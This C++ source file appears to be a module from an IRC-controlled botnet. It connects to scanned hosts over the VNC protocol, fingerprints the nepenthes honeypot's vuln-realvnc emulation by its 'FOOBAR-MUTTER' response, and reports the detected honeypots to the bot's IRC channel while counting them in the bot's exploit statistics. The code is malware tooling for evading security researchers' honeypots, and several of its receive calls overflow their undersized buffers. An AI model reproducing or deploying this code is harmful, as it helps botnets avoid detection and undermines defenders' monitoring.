/* you can find last version at:
http://grospolina.org/C/vncmoo.cpp
vncmoo final
*/
/*
Nepdetect realvnc module by kat
based on netcat dump received from nepenthes honeypot
------------- 01/01/08 katsumi
connecting
receiving 12 bytes (the version string)
< 00000000 52 46 42 20 30 30 33 2e 30 30 38 0a             # RFB 003.008.
sending the version string and receiving then black & white
< 0000000c 01 02                                           # ..
sending the moo !
receiving 4 bytes
< 0000000e 00 00 00 00                                     # ....
and receiving 37 bytes
< 00000012 04 3a 02 ff 20 18 00 01 00 ff 00 ff 00 ff 10 08 # .:.. ...........
< 00000022 00 00 00 00 00 00 00 0d 46 4f 4f 42 41 52 2d 4d # ........FOOBAR-M
< 00000032 55 54 54 45 52                                  # UTTER

  (nepenthes' log crit will print a out_of_sync? message)

just 4 fun 
did you ever got a binary thru vuln-realvnc ??
*/

#include "includes.h"
#include "functions.h"
#include "externs.h"

/*

*/
#ifndef NO_VNCMOO

BOOL vncmoo(EXINFO exinfo)
{
	char moobuf[IRCLINE];
	char tosend[] = "RFB 003.008\n"; 
	char moo[] = "moo\n"; //something (at this time moo ;))
	int i = 0;
	char vncbuf1[11];
	char vncbuf2[1];
	char vncbuf3[3];
	char vncbuf4[36];
	//char vncbuf5[] = "8";
	char vncbuf6[15] = "FOOBAR-MUTTER\n";
	
	#define ISVNC 0x52 // version string should start with 0x52
	#define VNC38	0x38	// lookin for 0x38 in version string
	// DONE: (TODO at stage2)
	#define BLACK 0x01 
	#define WHITE 0x02
	#define ZERO  0x00

	SOCKET sock;

	if((sock = socket(AF_INET, SOCK_STREAM, 0)) != INVALID_SOCKET) {
		SOCKADDR_IN ssin;
		memset(&ssin, 0, sizeof(ssin));
		ssin.sin_family = AF_INET;
		ssin.sin_addr.s_addr = finet_addr(exinfo.ip);
		ssin.sin_port = fhtons((unsigned short)exinfo.port);
		if(connect(sock, (LPSOCKADDR)&ssin, sizeof(ssin)) != SOCKET_ERROR) {
//			sprintf(moobuf, "[vncmoo]: Connected to %s\r\n", exinfo.ip);
//			irc_privmsg(exinfo.sock, exinfo.chan, moobuf, exinfo.notice);
//			addlog(moobuf);
			// ok we are connected :)
		//	Sleep(300); // do we need it?
			// ok. i'm a bot . i need to receive ;)
// receive 12 bytes
			if (recv(sock, vncbuf1, 12, 0) > 0 )
			{
//				sprintf(moobuf, "[vncmoo]: receiving version from %s: %s", exinfo.ip, vncbuf1);
//				irc_privmsg(exinfo.sock, exinfo.chan, moobuf, exinfo.notice);
//				addlog(moobuf);
				#ifdef DEBUG_CONSOLE
				printf("%s: Received at STAGE1:", exinfo.ip);
				for (i=0; i<12; i++) {
					printf("%x,", vncbuf1[i]);
					}
				printf("\n");
				//printf("%x = %x ?\n", vncbuf1[10], VNC38);
				#endif
				// no vnc check start
				if (!( vncbuf1[0] == ISVNC )) 
					{
						#ifdef DEBUG_CONSOLE
						printf("%s: No VNC - closing socket\n", exinfo.ip);
						#endif
						closesocket(sock);
						return TRUE;
					}
				// no vnc check end
//				if ( vncbuf1[10] == VNC38 )
//				{
				if (!( vncbuf1[10] == VNC38 )) 
					{
						#ifdef DEBUG_CONSOLE
						printf("%s: Bad VNC version - closing socket\n", exinfo.ip);
						#endif
						closesocket(sock);
						return TRUE;
					}
// send the version string
				if (send(sock, tosend, 12, 0) > 0 )
				{
//					sprintf(moobuf, "[vncmoo]: Sending RFB client version to %s.", exinfo.ip);
//					irc_privmsg(exinfo.sock, exinfo.chan, moobuf, exinfo.notice);
//					addlog(moobuf);
					#ifdef DEBUG_CONSOLE
					printf("%s: STAGE1 done.\n", exinfo.ip);
					#endif
					if (recv(sock, vncbuf2, 2, 0) > 0 ) // receive 2 bytes
					{
//						sprintf(moobuf, "[vncmoo]: receiving blacknwhite from %s: %i %i", exinfo.ip, vncbuf2[1], vncbuf2[2]);
//						irc_privmsg(exinfo.sock, exinfo.chan, moobuf, exinfo.notice);
//						addlog(moobuf);	
						#ifdef DEBUG_CONSOLE
						printf("%s: Received at STAGE2: 0x%x 0x%x\n",exinfo.ip, vncbuf2[0],vncbuf2[1]);
						#endif 
//TODO: if byte 0 is 01 and byte 1 is 02
						//DONE 
						if (!( vncbuf2[0] == BLACK ) || !( vncbuf2[1] == WHITE ))
							{
								#ifdef DEBUG_CONSOLE
								printf("%s: failed black'n'white - closing socket\n", exinfo.ip);
								#endif
								closesocket(sock);
								return TRUE;
							}
						//DONE try todo end
						if (send(sock, moo, 4, 0) > 0 )
						{
//							sprintf(moobuf, "[vncmoo]: Sending moo to %s", exinfo.ip);
//							irc_privmsg(exinfo.sock, exinfo.chan, moobuf, exinfo.notice);
//							addlog(moobuf);
							#ifdef DEBUG_CONSOLE
							printf("%s: Send at STAGE2:%s \n", exinfo.ip, moo);
							printf("%s: STAGE2 done.\n", exinfo.ip);
							#endif 

							
							if (recv(sock, vncbuf3, 4, 0) > 0 )// receive 4 bytes
							{
								// may be we really could detect it here
								#ifdef DEBUG_CONSOLE
								printf("%s: Received at STAGE3:", exinfo.ip);
								for (i=0; i<4; i++) { printf	("%i",vncbuf3[i]); }
								printf("\n");
								#endif 
							// TODO: else close socket return false
// TODO: if byte 0-3 is 0 receive 37 bytes
								// we will test byte 0 and 3 
								if (!( vncbuf3[0] == ZERO ) || !( vncbuf3[3] == ZERO ))
								{
									#ifdef DEBUG_CONSOLE
									printf("%s: expected 0000 - closing socket\n", exinfo.ip);
									#endif
									closesocket(sock);
									return TRUE;
								}
						// end TODO
								if (recv(sock, vncbuf4, 37, 0) > 0 )
								{
							// consume level lol
									#ifdef DEBUG_CONSOLE
									printf("\n%s: STAGE4 reached.\n", exinfo.ip);
					//				for (i=0; i<37; i++) {
					//				printf("%i,", vncbuf4[i]);
					//				}
									//printf("\n");
									for (i=24; i<37; i++) 
									{
										//
										printf("%s: collecting bytes to test byte %i: %x %x\n", exinfo.ip, i, vncbuf4[i],vncbuf6[i-24] );
									}
									#endif
									// reaching stage4 typically means we already have detected vuln-realvnc nepenthes modul
									// but we will make a lil test 'cos we had not tested vncbuf3 : 0000
									// still TODO:comparing vncbuf3 //DONE
									if ( vncbuf4[35] == vncbuf6[11] ) //easy way. i don't care about false positives
									{
										#ifdef DEBUG_CONSOLE
										printf("%s: found nepenthes vuln-realvnc module\n", exinfo.ip);
										#endif
										sprintf(moobuf, "[vncmoo]: nepenthes detected at %s  \r\n", exinfo.ip);
										irc_privmsg(exinfo.sock, exinfo.chan, moobuf, exinfo.notice);
										addlog(moobuf);
										exploit[ exinfo.exploit ].stats++;
									}
// TODO: if byte 24-36 is FOOBAR-MUTTER send message to irc //no need TODO
								}
							}
						}

					}
				}
			}
		}
	}
//	}
		Sleep(500);
		closesocket(sock);
return TRUE;
}


#endif